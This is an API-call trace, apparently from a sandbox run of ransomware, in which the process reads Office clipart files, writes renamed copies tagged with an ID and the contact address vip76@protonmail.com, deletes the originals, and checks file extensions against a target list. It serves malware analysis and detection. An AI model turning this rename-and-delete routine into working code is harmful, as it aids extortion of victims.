	[0207.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.741] GetLastError () returned 0x0
	[0207.741] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0xcd6, lpOverlapped=0x0) returned 1
	[0207.742] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0207.743] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.743] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.743] SetEndOfFile (hFile=0x388) returned 1
	[0207.743] CloseHandle (hObject=0x388) returned 1
	[0207.744] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.744] SetEndOfFile (hFile=0x384) returned 1
	[0207.744] CloseHandle (hObject=0x384) returned 1
	[0207.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0207.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.745] lstrlenW (lpString=".doc") returned 4
	[0207.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.745] lstrlenW (lpString=".docx") returned 5
	[0207.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.745] lstrlenW (lpString=".pdf") returned 4
	[0207.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.745] lstrlenW (lpString=".xls") returned 4
	[0207.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.745] lstrlenW (lpString=".xlsx") returned 5
	[0207.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.745] lstrlenW (lpString=".ppt") returned 4
	[0207.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".zip") returned 4
	[0207.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.746] lstrlenW (lpString=".rar") returned 4
	[0207.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString=".bz2") returned 4
	[0207.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString=".7z") returned 3
	[0207.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".dbf") returned 4
	[0207.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".1cd") returned 4
	[0207.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".jpg") returned 4
	[0207.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".doc") returned 4
	[0207.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString=".docx") returned 5
	[0207.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.746] lstrlenW (lpString=".pdf") returned 4
	[0207.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString=".xls") returned 4
	[0207.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.746] lstrlenW (lpString=".xlsx") returned 5
	[0207.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.746] lstrlenW (lpString=".ppt") returned 4
	[0207.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.746] lstrlenW (lpString=".zip") returned 4
	[0207.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.747] lstrlenW (lpString=".rar") returned 4
	[0207.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.747] lstrlenW (lpString=".bz2") returned 4
	[0207.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.747] lstrlenW (lpString=".7z") returned 3
	[0207.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.747] lstrlenW (lpString=".dbf") returned 4
	[0207.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.747] lstrlenW (lpString=".1cd") returned 4
	[0207.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68
	[0207.747] lstrlenW (lpString=".jpg") returned 4
	[0207.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.747] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.747] lstrlenW (lpString="HH00241_.WMF") returned 12
	[0207.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.747] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=1960) returned 1
	[0207.747] CloseHandle (hObject=0x384) returned 1
	[0207.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220
	[0207.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.748] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.748] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.749] GetLastError () returned 0x0
	[0207.749] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x7a8, lpOverlapped=0x0) returned 1
	[0207.750] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0x7b0, lpOverlapped=0x0) returned 1
	[0207.751] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.751] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.751] SetEndOfFile (hFile=0x388) returned 1
	[0207.751] CloseHandle (hObject=0x388) returned 1
	[0207.751] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.751] SetEndOfFile (hFile=0x384) returned 1
	[0207.752] CloseHandle (hObject=0x384) returned 1
	[0207.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1
	[0207.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.753] lstrlenW (lpString=".doc") returned 4
	[0207.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString=".docx") returned 5
	[0207.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.753] lstrlenW (lpString=".pdf") returned 4
	[0207.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString=".xls") returned 4
	[0207.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.753] lstrlenW (lpString=".xlsx") returned 5
	[0207.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.753] lstrlenW (lpString=".ppt") returned 4
	[0207.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.753] lstrlenW (lpString=".zip") returned 4
	[0207.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.753] lstrlenW (lpString=".rar") returned 4
	[0207.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString=".bz2") returned 4
	[0207.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString=".7z") returned 3
	[0207.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.753] lstrlenW (lpString=".dbf") returned 4
	[0207.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".1cd") returned 4
	[0207.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".jpg") returned 4
	[0207.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".doc") returned 4
	[0207.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString=".docx") returned 5
	[0207.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.754] lstrlenW (lpString=".pdf") returned 4
	[0207.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString=".xls") returned 4
	[0207.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.754] lstrlenW (lpString=".xlsx") returned 5
	[0207.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.754] lstrlenW (lpString=".ppt") returned 4
	[0207.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".zip") returned 4
	[0207.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.754] lstrlenW (lpString=".rar") returned 4
	[0207.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString=".bz2") returned 4
	[0207.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString=".7z") returned 3
	[0207.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".dbf") returned 4
	[0207.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.754] lstrlenW (lpString=".1cd") returned 4
	[0207.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68
	[0207.755] lstrlenW (lpString=".jpg") returned 4
	[0207.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.755] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.755] lstrlenW (lpString="HH00260_.WMF") returned 12
	[0207.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.755] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=3662) returned 1
	[0207.755] CloseHandle (hObject=0x384) returned 1
	[0207.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220
	[0207.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.756] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.756] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0207.757] GetLastError () returned 0x0
	[0207.757] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0xe4e, lpOverlapped=0x0) returned 1
	[0207.758] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xe50, lpOverlapped=0x0) returned 1
	[0207.759] ReadFile (in: hFile=0x384, lpBuffer=0x3c62020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.759] WriteFile (in: hFile=0x388, lpBuffer=0x3c62020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c62020*, lpNumberOfBytesWritten=0x317fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.759] SetEndOfFile (hFile=0x388) returned 1
	[0207.759] CloseHandle (hObject=0x388) returned 1
	[0207.759] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.759] SetEndOfFile (hFile=0x384) returned 1
	[0207.760] CloseHandle (hObject=0x384) returned 1
	[0207.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1
	[0207.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.761] lstrlenW (lpString=".doc") returned 4
	[0207.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString=".docx") returned 5
	[0207.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.761] lstrlenW (lpString=".pdf") returned 4
	[0207.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString=".xls") returned 4
	[0207.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.761] lstrlenW (lpString=".xlsx") returned 5
	[0207.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.761] lstrlenW (lpString=".ppt") returned 4
	[0207.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.761] lstrlenW (lpString=".zip") returned 4
	[0207.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.761] lstrlenW (lpString=".rar") returned 4
	[0207.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString=".bz2") returned 4
	[0207.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString=".7z") returned 3
	[0207.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.761] lstrlenW (lpString=".dbf") returned 4
	[0207.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".1cd") returned 4
	[0207.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".jpg") returned 4
	[0207.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".doc") returned 4
	[0207.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString=".docx") returned 5
	[0207.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.762] lstrlenW (lpString=".pdf") returned 4
	[0207.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString=".xls") returned 4
	[0207.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.762] lstrlenW (lpString=".xlsx") returned 5
	[0207.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.762] lstrlenW (lpString=".ppt") returned 4
	[0207.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".zip") returned 4
	[0207.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.762] lstrlenW (lpString=".rar") returned 4
	[0207.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString=".bz2") returned 4
	[0207.762] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString=".7z") returned 3
	[0207.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".dbf") returned 4
	[0207.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.762] lstrlenW (lpString=".1cd") returned 4
	[0207.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68
	[0207.763] lstrlenW (lpString=".jpg") returned 4
	[0207.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.763] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.763] lstrlenW (lpString="HH00276_.WMF") returned 12
	[0207.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.763] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=3016) returned 1
	[0207.763] CloseHandle (hObject=0x384) returned 1
	[0207.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220
	[0207.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0207.764] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.764] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1
